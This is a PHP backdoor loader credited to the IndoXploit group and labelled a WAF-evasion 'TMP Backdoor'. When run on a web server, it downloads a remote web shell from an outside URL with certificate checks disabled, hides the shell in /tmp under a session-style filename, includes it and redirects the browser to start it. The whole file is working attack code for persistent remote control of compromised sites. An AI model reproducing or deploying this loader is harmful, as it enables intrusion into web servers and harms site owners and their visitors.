# IndoXploit TMP Backdoor# Bypass 406 Not Acceptable & Auto Delete Shell (WAF Evasion Shell)# Coded by: L0c4lh34rtz - IndoXploit $data = ['https://www.indoxploit.or.id/repository/indoxploit_v3.txt', '/tmp/sess_'.md5($_SERVER['HTTP_HOST']).'.php']; if(file_exists($data[1]) && filesize($data[1]) !== 0) { include($data[1]);} else { $fopen = fopen($data[1], 'w+'); fwrite($fopen, get($data[0])); fclose($fopen); echo '<script>window.location="?indoxploit";</script>';} function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); return curl_exec($ch); curl_close($ch);}